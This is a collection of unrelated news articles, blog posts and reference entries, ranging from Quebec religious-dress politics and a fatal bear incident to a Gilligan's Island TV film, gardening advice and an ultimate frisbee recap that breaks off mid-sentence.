liquidity itself.)  Derman is a physicist who spent many years at Goldman Sachs, doing "quant" work and applying complex mathematical models to financial products and services. If he says that nobody knows what liquidity is, then I believe him.  When I read Fred's Bitcoin post, I immediately thought of the liquidity question, per Derman. All currencies are sort of combinations of features, but in Bitcoin's case, it's the notion that crypto-currency is somehow controlled in a distributed rather than centralized manner that seems to make up most of its appeal.  In this way, I think it's illiquidity waiting to happen. And of course illiquidity did doom Bitcoin 1.0.  Any future version that actually works would have to solve this problem. Probably by striking a compromise between distributed and centrally managed value.  But anyway, thanks to Fred for making me think about this. Again.  Follow Matthew DeBord and the DeBord Report on Twitter.
-MONTREAL—First, the Conservatives decided that it was good politics for the prime minister to use a pit stop in Quebec earlier this month to champion a ban on the wearing of face coverings at citizenship ceremonies. No sooner had Stephen Harper announced his government would appeal a Federal court ruling supportive of the right to wear a niqab at such ceremonies that his party set out to raise funds on the issue. If imitation is the sincerest from of flattery, Harper’s brain trust must be feeling pretty good for the Bloc Québécois has now embraced the prime minister’s stance with a passion. In an attack ad launched this week, the sovereigntist party notes that Thomas Mulcair has taken the opposite position and asks whether one must hide one’s face to vote for the NDP. With two of Canada’s federal parties determined to score pre-election points on the back of a practice that is exclusive to a minority of Muslim women at a time when emotions are running high as a result of the actions of Islamic extremists, what could possibly go wrong?  Article Continued Below  For the answer to that question one might ask Rania El-Alloul. The Montreal resident went to court on Tuesday to apply to get her car back after it was seized by the Quebec automobile insurance board and, instead, was scolded for wearing a headscarf. According to justice Eliana Marengo, there is no place for anything religious (save perhaps a Bible?) in a court of law. Moreover, in her book, wearing a hijab to court is as inappropriate as sporting sunglasses. When El-Alloul declined to take her scarf off the judge adjourned her case indefinitely.  The story does not say whether Marengo would have meted out the same treatment to an applicant wearing a Catholic veil or a Jewish kippa. Or whether the sound of official silence that initially greeted this episode would have been as deafening if the plaintiff had been other than Muslim. The chief justice of the Quebec Court, through a spokesperson, stated that there was no ban on religious clothing in her jurisdiction but added that individual judges were free to set a dress code in their courts. Quebec’s minister of justice Stéphanie Vallée took refuge behind a wall of judicial silence. She may have been waiting for her boss, Premier Philippe Couillard, to come out and say that he was “disturbed” by the incident. That happened when he met the media to discuss the latest changes to his cabinet late Friday morning.  Article Continued Below  At that point, almost a day after the story broke, Canada’s normally hyperactive minister for multiculturalism, Jason Kenney, had yet to devote a single tweet to the issue. All that in the face of a strong body of legal expertise that argues a) that justice Marengo did not have a judicial leg to stand on and b) that she likely trampled on El-Alloul’s fundamental rights. For that advice, legal experts can expect to be vilified in many quarters. That’s what happened when Liberal and NDP leaders Justin Trudeau and Mulcair questioned Harper’s decision to jump in front of the anti-niqab parade. On Thursday evening Trudeau was also lambasted for tweeting his dismay at the Quebec court episode. When Harper made his niqab announcement, the application for a mosque by Shawinigan’s local Muslim community had just been turned down by the local city council for fear of a public backlash. Since then, François Legault, the leader of Quebec’s third party, has floated the notion that a police investigation should take place before such applications are granted. The Coalition Avenir Quebec also wants Charter rights to be amended to prohibit the dissemination of “non-Quebec” values. It is not clear who Legault thinks is qualified to determine which values are worthy of Quebec’s stamp of approval. A poll published this week by the COGECO radio network reported that two-thirds of Quebecers do not want a mosque in their neighborhood. At the time of the debate over the Parti Québécois’s charter and its attending imposition of a secular dress code on all public sector employees last year, there was evidence that one of the collateral consequences of the discussion was to inflame anti-Muslim prejudices. It is on those embers that the Conservatives and the Bloc are pouring fuel. Chantal Hébert is a national affairs writer. Her column appears Tuesday, Thursday and Saturday.  Read more about:
-The Harlem Globetrotters on Gilligan's Island is a 1981 made-for-television comedy film. It is the third of three movies that reunited the cast of the 1964–67 sitcom Gilligan's Island. The film aired on NBC on May 15, 1981.  Synopsis [ edit ]  The former castaways own and operate a vacation resort on the formerly-deserted island, called "The Castaways", which was introduced in the previous film, The Castaways on Gilligan's Island. Thurston Howell III has some business in the mainlands and his son Thurston Howell IV came to the island and runs the hotel business, while his father is working. The Harlem Globetrotters, a traveling troupe of merry basketball players, are on a plane ride over the Pacific Ocean when it has engine trouble and they are forced into an emergency landing onto Gilligan's Island. The Castaways heard about the news on Mr Howell's private TV. After a brief time struggling in the jungle, they are discovered by Gilligan and Skipper and welcomed to "The Castaways." The Castaways play a fun game against the Globetrotters, and are soundly defeated, with the Globetrotters thinking to themselves this group has little basketball ability.  Meanwhile, J.J. Pierson, a corporate raider and the worst business rival of Thurston Howell III, has a plan to bamboozle the owners of The Castaways (Gilligan and his friends) into signing over ownership to him, as the island contains "supremium", an ore which provides large sources of energy. He uses a robot to try to scare them away, by various attempts of sabotage, and then tricks most of the castaways into signing the island over to him. Eventually Gilligan and the Skipper uncover the conspiracy, before the signature of Thurston Howell IV is obtained, and Mr. Howell forces Pierson to agree to tear up the fraudulent contracts if the Globetrotters play his team, the New Invincibles, which is a team of robot players. Notable sports broadcasters Chick Hearn and Stu Nahan appear as part of the basketball game scene, with Hearn calling the play-by-play action of the climactic showdown.  The Globetrotters have no idea how to defeat a team of robots. The Professor is at a loss on how to defeat them until Gilligan unknowingly remarks that the Globetrotters have not done any tricks, causing the Professor to give a halftime pep talk to the Globetrotters that the New Invincibles would be caught off-guard. The Globetrotters start scoring against the New Invincibles, but when injuries sideline a couple of the players, the team will forfeit unless they can find replacements, and they need Gilligan and Skipper to serve as substitute players. At the moment before the game expires, Gilligan makes the winning shot. Pierson then remarks the outcome of the game does not matter, for while everyone was watching the game he ordered the supremium removed from the mine and loaded onto his boat. The Professor warns that supremium is a very unstable element outside of its natural surroundings. J.J. Pierson realizes this too late as the supremium explodes and sinks his yacht, leaving him penniless. As everyone celebrates, Thurston Howell III return from his business trip. The elder Howell commends the Harlem Globetrotters for saving the island and the castaways for their teamwork, and gives thanks to the younger Howell for proving himself an adept manager of the resort.  Cast [ edit ]  The Harlem Globetrotters [ edit ]  Production [ edit ]  In the original series, the Howells are childless. Despite this, a new character of Thurston Howell IV (the Howells' son, portrayed by David Ruprecht) was added due to the failing health of actor Jim Backus, who was unable to reprise his role. Sherwood Schwartz felt it would hurt Backus too much to recast Thurston Howell III with another actor, so instead, he was written out of the script by saying he was tending to business on the mainland United States and his son was managing the island resort in his place. Schwartz was impressed with Ruprecht's performance in maintaining a Howell-like persona, without being an imitation of Backus. In an effort to keep up continuity, Backus insisted that he felt well enough to make a cameo appearance and he is featured briefly at the end, claiming to have returned from his mainland business. Sherwood Schwartz and Dawn Wells both recalled how emotional it was, on set that day, as Jim filmed his short scene. He was weakened, and very shaky, as Natalie Schafer helped him onscreen, but Jim still dominated his character as before. After he finished, Ruprecht helped him walk offscreen, and he asked Dawn "Was I funny?" Dawn assured him that he was, although it broke her heart to see how weakened he had become, not to be able to tell. As Jim left the set with his longtime wife, Henny, and his caretaker, there was an emotional round of applause for him, from the cast and crew, many of whom were in tears. Jim, also in tears, stopped, and responded to the applause by blowing kisses to everybody, before leaving.  Neither of the previous actresses who played Ginger agreed to reprise their role in this film. Bob Denver's wife, Dreama, having previously appeared on an episode as a cavewoman, appeared as Lucinda, Mrs. Howell's overly-punctual secretary.  This would be the final performance together of Martin Landau and Barbara Bain, the husband and wife team best known for their starring roles in Mission: Impossible and Space: 1999. They divorced in 1993.  Like the original sitcom, The Harlem Globetrotters on Gilligan's Island featured a laugh track.
-Intel intends to invest $300 million in a push for the development of thin and light laptops that can go for days on standby and still sell for under $1,000. The company refers to this class of computers as "ultrabooks," laptops that would be positioned to compete with devices like the MacBook Air or the iPad.  Ideally, this research money would go toward developing computers that are under an inch thick, with robust batteries and very short startup times, Intel says. But the sub-$1,000 price point appears equally as important as the other factors, and it's one that will be difficult to achieve in a device that must necessarily include a solid-state drive if it wants to achieve a quick startup time.  Intel isn't the first to get behind the concept of an ultrabook: Asus showed its 2.4-pound "ultrabook" with a 13-inch screen, U100 SSD, and Core i7 CPU at Computex in May, and pegged the price as sub-$1,000. By the end of 2012, Intel is aiming to convert 40 percent of available laptop models to an ultrabook format, making "mobile computers into the next 'must have' device," Intel Executive Vice President Arvind Sodhani told Bloomberg Businessweek, in evident hopes that the company will be able to pull consumers back from the burgeoning tablet market.  The $300 million fund will be spent over the next three or four years; for its part, Intel will keep creating processors that draw less battery power. But the ultrabook is not far from market; Intel says the first generation will hit shelves by this holiday shopping season.
-In the evenings, Donna Munson liked to sit in front of her picture window and watch the bears amble toward her Ouray County log cabin for dinner.  The 74-year-old woman — who stocked her backyard with dog food, fruit and yogurt — was found dead outside her home Friday, being eaten by a bear.  It was still unknown Saturday whether a bear killed Munson or whether one or more animals consumed part of her body after her death. But people who knew her said she was an eccentric wildlife lover who had been feeding bears, elk, skunks and raccoons for years.  Munson, who rented half of her home in southwestern Colorado to several people over the years, told one of them that “when the time came, she wanted to go out with the bears.”  “She was a very sweet lady,” said Tammy York of Paonia, who rented part of Munson’s house several years ago. “She just loved nature. She probably shouldn’t have been alone out there in her state.”  Colorado Division of Wildlife agents had asked Munson so many times over the past decade to stop feeding bears that she quit taking their phone calls or accepting their certified letters and tried to ban them from her property.  Neighbors complained about a growing number of bears in the hills, ransacking trash cans and even trying to break into houses this summer. Still, Munson kept feeding the bears.  Two of the bruins were shot and killed by Ouray County sheriff’s deputies Friday while they investigated Munson’s death. Deputies said the animals were threatening and had no fear of people.  Two other bears were captured and euthanized in July after a caretaker at Munson’s cabin complained they were too aggressive. Division of Wildlife authorities caught them both the first day they set traps.  “We tried to do everything possible to gain her cooperation,” said Tyler Baskfield, DOW spokesman. “Obviously, this is a situation that everybody feels bad about, but it illustrates what can happen.”  Bears fed by humans lose their instinct to fear people and “they expect that food source to continue,” he said.  “Not only are you putting yourself at risk, you’re putting anyone else who may come in contact with that animal at risk because they are expecting a handout,” Baskfield said.  The night before her death, Munson planned to feed an injured baby bear hard-boiled eggs and yogurt, another former tenant said. And she had planned to swat a large bear that was bothering the baby bear with a broom.  “She didn’t have a chance in hell,” said Connie Barnes, who lived with Munson for five years and never went outside after dark without a spotlight, her husband and his BB gun.  Munson lived in the cabin, which bordered federal land, with her husband, “Ridgway Jack,” until his death about 14 years ago, Barnes said. Jack Munson adopted a baby elk and made their home into an animal sanctuary, even letting a fawn sleep in his bed, Barnes said.  Donna Munson continued caring for animals after her husband’s death, leaving a tub of cat food on her picnic table for critters and tossing food in the backyard and out her windows for bears. The elderly woman, who used a walker, bought giant bags of Ol’ Roy dog food for the bears and had pallets of grain delivered for elk and deer, Barnes said.  “She had skunks that came in her house,” Barnes said. “It sounds ridiculous to people, but you had to know her. She was a very loving woman, so much into animals.”  Two women who cleaned Munson’s home found her being eaten by a bear Friday, Barnes said.  A necropsy performed on a 250-pound male bear was inconclusive. A necropsy on the other bear killed Friday is ongoing. The Montrose County coroner is performing an autopsy on Munson.  Folks in Ouray and Ridgway, two towns near Munson’s house, were upset about the bear deaths and the public safety risk caused by Munson.  “These bears are now not going to be fed and they are going to go to other houses looking for food,” said Kate Singer, owner of Kate’s Place, a cafe in downtown Ridgway. “More bears are going to be killed because of what this woman did. It’s a bad situation, and people are not happy about it.”  Munson had enclosed her porch with wire fencing for protection. York, her former tenant, said Munson had the fence installed when York and her two children, ages 1 and 4 at the time, moved in with her.  The bears would come within 6 feet of the porch and peer in the windows.  “We were in the zoo,” she recalled, saying she moved out after about a year because the animals — especially the skunks — “got to be too much.” While she lived there, a bear busted York’s car window and left bite marks in her seat trying to get some leftover french fries.  Munson would be devastated by the bears’ deaths, York said.  “That’s the worst part,” she said. “That would be horrible for her if she knew what her death had meant to the bears.”  Jennifer Brown: 303-954-1593 or jenbrown@denverpost.com
-Gujarat Chief Minister Narendra Modi today greeted the Muslims at the beginning of the holy month of Ramzan, a move that invited criticism from the Congress, which said, "they will do anything to get votes".  "Happy Ramzan. May this holy month bring joy, peace and prosperity in our lives," Modi wrote on his twitter account, extending warm greetings to the Muslims.  Modi, who has been fighting hard to erase the taint of the 2002 communal riots, was recently elevated as chief of the BJP's Election Campaign Committee and his greetings to the Muslims is being seen as part of his image makeover ahead of the 2014 Lok Sabha elections.  Reacting to Modi's tweet, Gujarat Congress president Arjun Modhwadia, without naming any party or individual, said, "They will do anything to get votes. They will rake up the Ram temple issue and then drop it. They will say that Mohammed Ali Jinnah was secular. They will burn Sachar committee report and they will extend greetings on Ramzan."  Happy Ramzan. May this holy month bring joy, peace & prosperity in our lives. — Narendra Modi (@narendramodi) July 11, 2013  "Yeh janata hai, yeh sab jaanti hai (the public knows everything)," he added.  Modhwadia also took to Twitter to extended Ramzan greetings, saying "Ramzan Mubarak to everyone. May this holy month bring peace and prosperity to all."  ALSO READ CBI sought part RTI exemption, Govt gave it full  Please read our terms of use before posting comments
-Baseball has had its share of colorful characters over the years. Yogi Berra, Bo Belinsky, Bill “Spaceman” Lee, Mark “The Bird” Fidrych. The list goes on and on.  Now we have Joe Biagini. The 25-year-old former 26th-round pick is pitching out of the Blue Jays bullpen after making the team as a Rule 5 pick out of the Giants organization. His personality might best be described as playfully irreverent. Biagini throws mid-90s heat with his right hand, but his quips, which come fast and furious, are straight out of left field.  Biagini shared his atypical story, and some gloriously-sarcastic one liners, when Toronto visited Fenway Park over the weekend.  ———  Biagini on his surprising rise to the big leagues: “I think everything up to this point has been a surprise. Right now, it’s a surprise honor to get to speak to you and answer your questions. Honestly.  “When I was in college, I really wasn’t that good of a baseball player. My junior year at (California) Davis, after I transferred from a junior college, and was coming off Tommy John surgery, I had an 11.00 ERA for most of the year. Then I got it way down to 7-something by the end.  “The last day of the season, I came in to pitch and did bad. I got hit around a bunch. It was my birthday. My dad was there and he was looking at my velocity. The radar gun was off — it showed mid-80s — but we didn’t know that. We were like, ‘Ah, man.’  “A scout, Keith Snider from the Giants, came down after the game. I was disappointed — I was all mad — but he was like, ‘Hey, you were throwing pretty well out there.’ I was like, ‘Really? Are you sure you’re talking about me?’ I wondered if maybe there was a guy behind me. It turns out I had been throwing harder than I thought.”  On fixing his mechanics after Tommy John surgery: “I really started throwing harder at the beginning of my junior year. The successful surgery certainly didn’t hurt that — it wasn’t a negative reason I started throwing harder — but the mechanical work I did was more important.  “I’d been really screwed up mechanically. I was caving in my back knee. I was leaning back a lot and then pulling my head off. Basically, I was putting a lot of pressure on my elbow and shoulder. If I hadn’t changed my mechanics — if I hadn’t fixed what caused the first one — I’d have had another one.”  On being drafted by, and signing with, the Giants: “I really didn’t think I was ready to go professional. But I went to the Cape [Cod League] and somehow put together a good Cape. The Giants said, ‘Even though you think you’re not going to sign, we still may draft you.’ That’s what happened. It was pretty cool getting drafted by my hometown team.  “I hadn’t been sure if anybody would be drafting me, let alone who. It was a little bit of a surprise, but at the same time, it wasn’t out of nowhere. It was more, ‘Wow, what was the likelihood of that?’ I was still thinking I’d probably go back to school, but I got an offer that was better than I thought I was going to get. I thought, ‘Well… that’s pretty good.”  On playing in the minor leagues: “I hated it. Just kidding. No, but I went directly to Low-A. I don’t know why. Maybe there was a mix up with the paperwork? Or maybe they thought I was good-looking? So, I pitched part of a season there, did bad, and was sent down to short-season. The next year, I went back to Low-A and didn’t do very good that time, either. The next year, somehow, they gave me a shot in High-A.  “I actually did do a little better my second year [in Low-A]. I felt I was improving. At the same time, I was weak mentally. There wasn’t a lot of good stuff going on. Going into my third year, I really worked on my mindset. I made some improvements, and that’s where things started to pick up for me a little bit.”  On adopting a different mindset: “I’m not a huge cliche fan, but I can’t deny that baseball is 90% mental. Yogi Berra, you know. Honestly, it’s true. It’s so funny. The higher I’ve gotten up, the simpler my mindset and approach have been, the more mentally strong I’ve had to be. I’ve had to be in tune with the mental, because that has a huge effect on the physical.  “I used to be the complete opposite. My first couple of years, I was all about mechanics. I thought if I did all of the mechanics correctly, everything would be great. That’s what I was thinking about on the mound. Ironically, coming off the surgery, I kind of had to.  “I got into this mode where I was stuck in my mechanics. I was always thinking about them, rather than just attacking hitters. After that second bad year in Augusta, I said to myself, ‘I’m sick of this. I’d rather not play than play like this.’ It had become a mental travesty. I didn’t want baseball to not be fun, so I really challenged myself to get into the right mindset.  “I’m really close to my dad with the baseball thing — he played in the minor leagues for the Giants for a couple of years — and he’s been there every step of the way. I talked to him about it. I prayed about it. I read some books about it. My coaches mentioned it, of course, but in the end you have to take ownership.”  On confidence and aggression: “I was never like a hot-head guy. I’m actually trying to get more like that, to be honest. I’m kind of joking, but kind of not. It’s good to be competitive. Not that you want to be a jerk. But I guess I was always very low self-esteem, low confidence, negative, pessimistic, bad attitude about everything. I was taking the glass-is-half-empty approach.  “Combine that with overthinking everything… I still do that in all the other areas of my life, unfortunately. But in baseball, I’ve made an improvement on that, pretty much out of desperation. To actually tap into that simplistic, attacking, aggressive mindset — that’s kind of been my motto the last couple of years.”  On learning that he was selected in the Rule 5: “I went to a palm reader the night before, and she told me… That’s not true either. I’d actually been sleeping. It was early in the morning — we were out in California — but my dad tuned in halfway through the broadcast. The first thing he heard was, ‘Right-handed pitcher from the San Francisco Giants, selected by the Toronto Blue Jays…’ and the other guy said, ‘Can you spell that name?’  “My dad let me know. I wish I could get that kind of wake-up call every day. It would be easier to get out of bed. It was definitely a good way to start a day. It was like a shot of espresso.”  On his big-league debut and pitching at Fenway Park: “Pitching in this environment is something you picture yourself doing. For years, it’s like that, then all of sudden it’s, ‘You made the team. Hey, let’s go.’ Suddenly it’s legitimized.  “[My debut] was boring. No, not really. It was the home opener, so there were something like 50,000 people there. My family was there. I got the game ball and gave it to my dad. But the game itself… I felt something when I walked to the mound. I don’t know what it was. Honestly, the only time I wasn’t nervous was when I was on the mound, actually pitching. I was able to tap into the mindset, that comfortability, that I’ve worked so hard to attain.  “I’m not sure [what it was like pitching at Fenway Park]. I’m not sure if it actually happened or not. It might be a conspiracy, like The Matrix or something. I remember thinking to myself in between batters, ‘I can’t believe I’m out here. How did this team let me on their roster? It’s crazy.’ So yeah, it was cool. This place is kind of like the cathedral of baseball.”  On his major in college: “Finger-painting. Just kidding. I went into college as a political-science major, but changed it to communications. I kind of wanted to do media, TV production type of stuff, but that’s kind of a tough field to get into. I guess you’d know that? I took some sociology and psychology classes, too. I shaded toward those areas a little but. But I’m still not sure what I’m going to do when I grow up. Right now it’s baseball, and hopefully I get to stay here for awhile.”
-RAMSEY COUNTY, MN — Police say a man grabbed a woman's butt cheek and masturbated in front of her and two children while at the Minnesota State Fair's CHS Miracle of Birth Center. The Ramsey County Attorney's Office Tuesday charged Jeffrey Pendzimas, 62, with two counts of criminal sexual conduct in the fifth degree in connection with an incident at the Minnesota State Fair Monday afternoon.  According to the criminal complaint, a woman, 31, who had been watching chickens hatch at the CHS Miracle of Birth Center with her son and nephew, felt a hand reach into her shorts from the bottom. The hand squeezed the skin of the woman's butt cheek in a cupping motion, the complaint states.  The woman turned around and made eye contact with Pendzimas, thinking it was an accident, according to police. Authorities say the woman moved away before she turned and looked at Pendzimas who was standing right behind her.  The woman saw Pendzimas making up and down motion with his hands as if he were playing with himself, according to the complaint. Pendzimas then allegedly lifted his shirt exposing his penis which he actively stroked while it was sticking out of his zipper.  The complaint states the woman covered the eyes of her son and nephew, who had turned in Pendzimas' direction, and screamed at the top of her lungs, "What are you doing? That man has his penis out!" Pendzimas turned around and fled, according to police.  The woman told officers she would definitely be able to identify the man were she to see him again. An officer later turned Pendzimas to face the woman, who said, "Yes, that is the sick f--- that showed me his small penis." The woman later told police that the two children with her had seen Pendzimas masturbating, according to the criminal complaint.  Pendzimas will make his first appearance Wednesday afternoon in Ramsey County District Court in Saint Paul, according to a news release.  Read the entire criminal complaint below:  (For more local news, click here to sign up for real-time news alerts and newsletters from Minnesota Patch, click here to find your local Minnesota Patch. Also, follow us on Facebook , and if you have an iPhone, click here to get the free Patch iPhone app.)  Image via Ramsey County Sheriff's Office
-Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.  MIDLAND COUNTY, Texas (Local 2/Fox 24) - A festival many look forward to each year had decided to sit out in 2018.  According to a release from Crude Fest, organizers confirm they will not be holding the festival next year.  Organizers cite the economic environment and expenses as the main cause.  The statement reads:  " To our fans: all of us here at Crude Fest thank you and really appreciate your loyal support over the past eight years. Unfortunately, however, the festival will not be returning in 2018. Long story short, it's just become too expensive and too difficult to produce in the current economic environment. That said, we will look at opportunities to return at a different time and location."  The organizers continued in the statement thanking the community for the support and the memories
-Diego Costa (centre) was taken off injured against PSG  Guus Hiddink has confirmed both Diego Costa and Eden Hazard are injury doubts for Saturday's FA Cup quarter-final at Everton, after the pair came off in the second half of Chelsea's 2-1 defeat to Paris Saint-Germain.  Costa was substituted with 30 minutes remaining in the game and went straight down the tunnel to receive treatment, while Hazard came off after 77 minutes.  Hiddink confirmed both players will be assessed by the club's medical staff at Chelsea's training ground on Thursday to see if they stand a chance of playing at Goodison Park.  Oscar of Chelsea comes on as a second half substitute for Eden Hazard (right)  "We'll see if there is big damage tomorrow," Hiddink told reporters after the game. "Diego was desperate to play today although he was not 100 per cent fit.  "I don't know it's worse, we'll see tomorrow. In two days we have to play another game."  Costa, who had been labeled a 'fraud' in a post on one of PSG's official social media accounts in the build-up to the game, scored against his antagonists but it was not enough to keep Chelsea in the competition.  Costa (left) scored an equaliser on the night for Chelsea before his injury  The FA Cup is now the only competition they can win in what has been a nightmare season.  On the prospect of not playing another Champions League game for at least 18 months, Hiddink reflected: "Chelsea is now in a transition period, that's true, it's difficult to get into fourth position now.  "Chelsea must consider it's short-term future now and how to handle this, but they knew that beforehand."
-A video recently uploaded by MDOT offers a glimpse into how the department helped keep the roads clear in the 1930s. (Photo: moodboard/thinkstock)  Winter in Michigan in the 1930s was rough.  Uploaded to YouTube on Feb. 1, the video titled “Winter Comes to Michigan” helps offer a glimpse into what it was like to keep the roads clear more than 80 years ago. At least, that’s how it looks in a recent video shared by the Michigan Department of Transportation.  The video opens with a forward saying, “Winter maintenance is a gigantic task for heroic men and efficient machines. It is a public service fraught with grave responsibilities.”  But it also features some of the fun, with scenes of ice skating, skiing and sledding.  According to the YouTube page, MDOT said the newsreel was “recently discovered by sisters Nancy and Barbara Sleeper of Newberry, whose grandfather, Sanborn Sleeper, was the superintendent of the Luce County Road Commission from 1928 until sometime around World War II.”  MDOT added that the family donated the film to show the time when future Gov. Murray Van Wagoner ran the Michigan State Highway Department from 1933 to 1940.  Watch it here:  Read or Share this story: http://on.lsj.com/1T0BDiT
-7 Shares  Even in the face of an apparent economic recovery, many millions of people are stagnating in their jobs, unable to get a promotion or to move to a more promising position with a competing company. Many more are still unemployed or even under-employed. That may be the reality of our time, but should we sit still and wait for better times? Is that even a strategy?  Cutting living expenses is one way to deal with a comatose employment situation, but I’ve argued in the past that frugality has its limits. When all is said and done, you can only cut your expenses so much before finding new income sources becomes an absolute necessity.  If you aren’t content to continue to just muddle through, and want to make things happen in your life, increasing the number of income streams will be the most constructive way forward. And starting a side business is the single best way to do this.  How can starting a side business build a better future?  Moving forward in an uncertain job market  Job security is a thing of the past. We could write books about how that’s playing out but it’s completely unnecessary. The more important issue is how we deal with that reality?  If jobs are uncertain, the best thing we can do is to prepare ourselves for self-employment. Since most people have never been self-employed, the lowest risk way to do this is to begin a business as a side venture while you’re still employed by your company. You’ll have the cash flow from your job, and that will give you as much time as you need to get your business up and make it profitable.  If you haven’t been promoted in a long time, and there’s little prospect of getting a better job elsewhere, it’s time to get started with a side business now. In time, your business can grow into a full time venture. And even if it doesn’t, and it merely functions as a part time business, it can either supplement your income or be one source among several income streams in the event you lose your primary job entirely.  Coping with the rising cost of living  Despite official declarations of an inflation rate sitting reliably within the 1-4% range, the cost of goods and services that we need—food, energy, utilities, healthcare and education have soared. If you aren’t being promoted, and the raises you get are only of the token variety, you’ll have to increase your income outside your job. A side business is a logical way to do this.  Retirement planning  Will Social Security be there when our turn to retire comes around? I think so, but it will almost certainly be at a level well below what today’s retirees are enjoying. Maybe it will be pushed out to age 70, or maybe it will be means-tested—we can’t know. And as pretty as self-directed retirement plan projections are, none can adequately account for the effects of one or more stock market crashes, or of a prolonged period of unemployment.  A successful side business can provide a workable Plan B against these possibilities. It can be a much needed income stream to supplement a reduced Social Security check and a less than expected return on a 401k. This is real life—even in retirement we’ll need options.  Building up savings and investments  It’s tough enough stretching a paycheck to cover necessary living expenses and—hopefully—a little bit for extras. But savings and investing can be lost in the course of just surviving! There always seems to be yet another bill to pay, another unexpected expense soaking up every extra dollar.  Often, the only way to develop a serious savings and investment plan is to create another income stream to fund it. A side business can provide the source not only for building savings, but also to pay down and pay off debt, and to increase investments for retirement.  Bringing out your “inner entrepreneur”  Do you ever dare to ask yourself ”what do I truly want to do with my life?” It can be a lot of fun, but it often gets short-circuited on the but-I-have-bills-to-pay issue. And yet despite this cold dose of reality, most of us are fascinated by the possibilities. Deep inside, we all sense that we could be more than we are–if only…  Why is it important to be an entrepreneur? If we can’t rely on jobs to provide for our futures, then we need to rely on ourselves! That almost certainly means some form of self-employment. But beyond the question of earning a living, self-actualization is a very real human need. We all want to be the captains of our own ships “some day”, to create our own unique paintings of our lives.  If you don’t feel that that’s happening through your main occupation, a side business gives you another shot. Who do you want to be in your life and your occupation? Maybe the answer to that question is closer than you think. A side business may provide that answer—and a whole bunch of other good things along the way.  If you think that building a side business may be the right path for you, but you don’t know what kind of business to go into, check out my post, The Freelance Blog Writer Side Hustle. Blog writing is one of the most promising side ventures you can enter because it’s growing rapidly and has excellent potential to lead to still more opportunities. Even if you’ve never written professionally in the past, this post can help you get started.  ( Photo from Flickr by ObnoxJester )
-Lemon verbena (Aloysia citrodora) is a fragrant tropical shrub native to Chile and Argentina. It was brought to Europe by Spanish explorers in the 17th century. Its lemon scented oil was used in cosmetics and perfumes until the introduction of lemon grass and its less expensive oil. The Victorians, who were fond of potpourri, loved lemon verbena because its leaves keep their scent for a long time after drying.  Nowadays, the leaves are used in cooking and herbal teas as well as potpourri. The plants can often be found near doorways and close to outdoor living spaces where its foliage releases its refreshing scent each time you brush by.  Lemon verbena is hardy through zone 9. In colder zones, it is often grown in containers and brought indoors during the winter. It grows to a height of 6 feet with a spread of 8 feet in most areas. In tropical gardens, where it never becomes dormant, it can grow to 15 feet. In colder regions, temperatures below 40⁰F cause the leaves to drop and the plant to enter dormancy. Most gardeners wait for the leaves to drop in the fall before bringing their plants indoors. This prevents insects from coming indoors on the leaves as well as the clean-up necessary after the plants drop their leaves from the stress of being transferred into an indoor environment.  Outdoors, lemon verbena likes afternoon shade in tropical areas but full sun in northern areas. Lack of sunlight in colder climates will result in spindly growth and less fragrant leaves. It also does poorly if grown in soil that is not well-drained. Unlike most herbs, lemon verbena should be fertilized regularly during active growth, every four weeks outdoors and every two weeks when grown indoors. It should not be fertilized at all during dormancy.  To successfully grow lemon verbena in a container, you should use a 12-inch pot to allow the roots enough room. After the cold weather sets in and the plant has shed its leaves and entered dormancy, it is best to bring it indoors and place it in a cool dark place. While dormant, you should neither water nor fertilize it. When spring arrives, you can bring your plant outdoors. Sunlight will magically bring your plant back to life and you can resume regular watering and fertilizing.  Lemon verbena has tiny white flowers which grow in sprays at the ends of the branches. They appear in late spring or early summer. They only reliably set seed in the tropics. The flowers each produce 2 seeds. The seeds are not usually viable so propagation is done vegetatively.  To propagate your shrub, you want to take basal cuttings which are cuttings that are made at the base of the shoots where they join the crown of the plant. These type of cuttings root very easily. For best results, you should take basal cuttings while the plant is actively growing in the summer. If you wait until fall when growth is slowing, the cuttings will take much longer to root.
-Venom is coming back to the Marvel Universe in a big way — first in February's Amazing Spider-Man #654.1, then in the new Venom ongoing from writer Rick Remender and artist Tony Moore, debuting in March.  We talked with Remender last month and learned the broad strokes of the title — that it casts Venom as a globetrotting super-spy on black-ops missions for the military — but there's still a lot that we don't know, like who is the latest host for the famous symbiote. While we may not get that question answered, we'll find out a lot more aboutin Marvel's latest "Next Big Thing" conference call with the press, featuring Remender and Marvel senior editor Steve Wacker. The call should be starting soon, and in the meantime, enjoy some new interior pages from issue #1 by Moore — plus some covers, including one for #4 by Mike Deodato. For live coverage of the call, follow along in the box below:cover  by Joe Quesada.  variant  cover by Paulo Siqueira.  cover  by Tony Moore.  cover  by Mike Deodato.
-Machine’s Dominance Continues: 2014 Great Lakes Regional Recap (Men’s)  The top seeds took care of business at Great Lakes Regionals.  WESTCHESTER, OH — As teams descended on Westchester this past weekend for the Great Lakes Regional Championship, the excitement around the tournament, and indeed the country, was muted. Chicago Machine, the overwhelming favorite to win the region, looked to have a stranglehold on the title and the one bid to Frisco.  Yet as Saturday and Sunday dawned, each day windier than the last, and games became close and hard-fought, there was at least some hope for an upset. A few even imagined a possibility of a closely contested game to go to Nationals.  This was not to be the case. Chicago Machine, if anything, only cemented their status as a team to be reckoned with come October.  For the rest, it became about fighting for pride and position as the tournament unfolded.  Upsets Await?  Saturday saw warmer weather than the region had seen in a week, along with bright sunshine, and gusty conditions. The tournament was buzzing early, as in the first round it appeared one of the top teams was going to fall to an upset.  Columbus Madcow was surprised out of the gate by a strong Enigma team from Dayton; in a fierce, mostly upwind-downwind game, Enigma played without fear. They challenged their in-state competitors and hoped to knock them off early. Enigma built a strong lead, mixing zone and man looks and capitalizing on mistakes from Madcow to earn some upwind breaks.  The score stood Enigma 11- Madcow 9 in a game to 12 and most fans thought the wind had already helped create the first upset. But Madcow deserves a ton of credit for their grit and determination. They scored an offensive point going upwind to make the game 10-11 and then broke downwind to tie the game at 11’s, forcing double game point. The final point featured Enigma going downwind on offense, but they made a huck turn and Madcow didn’t lose the disc again, winning 12-11.  Enigma, drained by the game, would lose to a confident Black Market before pulling a one point win away in their final pool play game against Jurassic Shark. They would then win their pre-quarter before facing Machine in quarterfinals and losing to Haymaker in the lower bracket to end their solid tournament.  The upsets — hoped for by many of the second-tier teams — didn’t materialize in the first round. They never really showed up at all.  Taking Care of Business  Later that day, Madcow would have another close call. After beating Jurassic Shark handily, Black Market, the team out of the suburbs of Chicago and recent Sectional champion, went stride for stride with the previous Nationals 